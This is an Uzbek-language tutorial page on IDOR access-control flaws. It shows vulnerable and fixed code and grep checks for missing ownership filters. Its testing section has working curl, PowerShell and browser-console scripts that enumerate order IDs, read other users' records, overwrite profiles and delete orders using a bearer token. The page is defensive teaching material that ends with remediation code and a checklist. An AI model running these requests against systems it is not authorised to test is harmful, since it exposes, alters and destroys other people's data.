🔗
IDOR — begona ma'lumot
ID o'zgartirib boshqa hisob
1
Maqsad
boshqa foydalanuvchining ma'lumotini olishServer so'rovdagi ID ga ishonib, egarasini tekshirmasa — hujumchi URL'ni o'zgartirib boshqa qoldiqni o'qiydi.
| Nishon | Oqibat |
|---|---|
/api/orders/1042 → 1043 | Boshqa odamning buyurtmasi |
/invoice?id=89 | Boshqa kompaniyaning hisobi |
/api/users/5 | Foydalanuvchi ma'lumotlari |
2
Tushuntirish
// XAVFLI — ID bo'yicha oladi, egasini tekshirmaydi const order = await db.order.findUnique({ where: { id: 1042 } }); res.json(order); // TO'G'RI — egasini shart qilib qo'shamiz const order = await db.order.findUnique({ where: { id: 1042, userId: req.user.id } // ← kalit }); if (!order) return res.status(404).json({ success:false }); // ID random bo'lsa ham — bu shart SHART // (boshlanish niyati bo'lsa ham, IDOR testlanadi)
IDOR ning yashirin qismi
Ba'zan ID o'zgartirish ishlamaydi, lekin boshqa
yo'l bor: GET /api/orders/1042 o'rniga
POST /api/orders/export {"ids":[1042,1043]} — bir so'rovda
ko'plab yozish, va egasi tekshirilmaydi.
3
Qanday aniqlanadi
# 1) o'zgartiriladigan ID parametrlarini topish grep -rnE "req\.(params|query|body)\.(id|userId|orderId|fileId|invoiceId|uuid)" src/ # 2) egasini tekshirish BORMI? grep -rnE "findUnique|findById|findOne" src/controllers/ | head -20 // keyin har biriga: userId / ownerId sharti bormi? # 3) "meniki" filtrlari grep -rnE "where.*userId|where.*owner|AND user" src/ | head
4
Buyruqlar
avtomatik mass-test# 1) qo'lda — bitta qoldirib, ID ni o'zgartiramiz curl -s "https://site.uz/api/orders/1042" -H "Authorization: Bearer $TOKEN" | jq '.userId, .total' curl -s "https://site.uz/api/orders/1043" -H "Authorization: Bearer $TOKEN" | jq '.userId, .total' # userId 100 ga o'zgargan bo'lsa — IDOR bor # 2) ketma-ket sinash (1000 ta ID) TOKEN="jildingizdagi_oddiy_hujumchi_tokeni" for ID in $(seq 1000 2000); do R=$(curl -s -m 3 "https://site.uz/api/orders/$ID" -H "Authorization: Bearer $TOKEN") U=$(echo "$R" | jq -r '.userId // empty' 2>/dev/null) [ -n "$U" ] && [ "$U" != "77" ] && echo " ⚠ orders/$ID → userId=$U (sizniki emas!)" done
# 3) PUT / PATCH bilan yozish curl -s -X PUT "https://site.uz/api/profile/1043" \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"name":"hujumchi"}' | jq . # 4) DELETE — egasini tekshiruvi curl -s -X DELETE "https://site.uz/api/orders/1043" \ -H "Authorization: Bearer $TOKEN" -w "\nHTTP: %{http_code}\n" # 204/200 → boshqa odamning ma'lumoti o'chirildi = jiddiy IDOR # 5) UUID variantlari (boshqa formatdagi ID) grep -oE "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" \ /var/www/usr_w8ujaj/data/www/xs313.xuss.us/ximoyalar.html | head -3 # 6) yuklama fayllari (fileId) for ID in 1 2 3 4 5; do echo "file/$ID: $(curl -s -o /dev/null -w '%{http_code}' https://site.uz/api/file/$ID)" done
# PowerShell — mass sinash $h = @{ Authorization = "Bearer $token" } 1..500 | ForEach-Object {{ try {{ $r = Invoke-RestMethod "https://site.uz/api/orders/$_" -Headers $h if ($r.userId -ne 77) {{ " orders/$_ -> userId=$($r.userId)" }} }} catch {{ }} }} | Select-Object -First 20 # o'zgartirish Invoke-RestMethod "https://site.uz/api/profile/1043" -Method Put \ -Headers $h -ContentType 'application/json' -Body '{{"name":"hujumchi"}}' # o'chirish (ehtiyot bo'ling) try {{ Invoke-RestMethod "https://site.uz/api/orders/1043" -Method Delete -Headers $h " ^ o'chirildi = IDOR tasdiqlandi" }} catch {{ " HTTP $($_.Exception.Response.StatusCode.value__)" }}
# brauzer konsolida const t = localStorage.getItem('token'); const r = await fetch('/api/orders/1043', { headers: { Authorization: 'Bearer ' + t }}); console.log(r.status, (await r.json()).userId); # JSON API da mass o'qish (ko'p ID bir so'rovda) await fetch('/api/orders/export', {{ method:'POST', headers: {{ 'Content-Type':'application/json', Authorization:'Bearer '+t }}, body: JSON.stringify({{ ids: [1042,1043,1044,1045] }}) }}).then(r => r.json()).then(console.log);
5
Natija
✓ MUvaffaqiyat — hujum ISHLADI
| Server javobi | Nima degani |
|---|---|
`userId` boshqa shovqinlikka o'zgardi | **IDOR — o'qish** |
Boshqa foydalanuvchining ismi/emaili keldi | **Ma'lumot sizib chiqdi** |
`200 OK` (ma'lumotni o'zgartirdik) | **IDOR — yozish** |
`204 No Content` (o'chirdik) | **IDOR — o'chirish, jiddiy** |
Invoices/fayllar boshqalarniki bo'lib chiqdi | **IDOR + fayl oshkor qilish** |
✗ Rad etish — hujum ISHLAMADI
| Server javobi | Nima degani |
|---|---|
`403 Forbidden` | **To'g'ri** — egasini tekshiradi |
`404 Not Found` | **To'g'ri** — mavjud emas deb yashiradi |
`401 Unauthorized` | Token talab qiladi — login qiling |
Hamma javob `403` | Egaslik nazorati ishlayapti |
6
Zararni yopish
1. Egaslik shartini yozish (har bir so'rovda)
// Prisma const order = await prisma.order.findFirst({ where: { id: req.params.id, userId: req.user.id } }); if (!order) return res.status(404).json({ success: false }); // TypeORM const order = await repo.findOne({{ where: {{ id, userId: req.user.id }} }}); // MongoDB const order = await Order.findOne({{ _id: id, userId: req.user.id }});
2. Avtorizatsiya qatlami (markazlash)
const can = {
read: (o, u) => o.userId === u.id || u.role === 'admin',
update: (o, u) => o.userId === u.id,
delete: (o, u) => o.userId === u.id && u.role !== 'user'
};
if (!can[action](obj, req.user)) return fail(); // markazda
3. Mass o'qishda ham
const rows = await prisma.order.findMany({
where: { userId: req.user.id, id: {{ in: ids }} } // har doim userId
});
4. ID ni oskor qilmaslik
// UUID / cuuid — lekin bu YAG'ONA himoya emas, qo'shimcha id: String(crypto.randomUUID()) // 404 ishlatish (403 emas) — mavjudlikni oshkor qilmaslik if (!order) return res.status(404).end();
7
Tekshirish ro'yxati
- Har bir `findUnique`/`findById` da `userId` sharti bor
- Avtorizatsiya markazlashgan middleware'da
- Mass o'qish (`ids: []`) ham filtrlangan
- Mavjud emas deb `404` qaytariladi (403 emas)
- Fayl yuklash/yuklab olishda ham egaslik tekshiriladi
- `+1` qilib ID o'zgartirib test qilindi